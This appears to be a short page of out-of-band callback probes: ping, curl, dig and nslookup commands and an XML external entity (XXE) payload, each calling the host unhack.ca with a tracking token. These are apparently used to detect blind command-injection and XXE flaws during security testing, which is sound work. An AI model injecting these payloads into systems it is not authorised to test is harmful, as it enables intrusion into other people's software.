$ ping -c1 -p 00e543498b08d9f3fbc22d3bb30f2000 unhack.ca
 

$ curl http://unhack.ca/p/e543498b08d9f3fbc22d3bb30f20
 

$ dig e543498b08d9f3fbc22d3bb30f20 @unhack.ca
 

$ dig e543498b08d9f3fbc22d3bb30f20.ns.unhack.ca
 

C:\> nslookup e543498b08d9f3fbc22d3bb30f20 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e543498b08d9f3fbc22d3bb30f20">]>
    <foo>&xxe;</foo>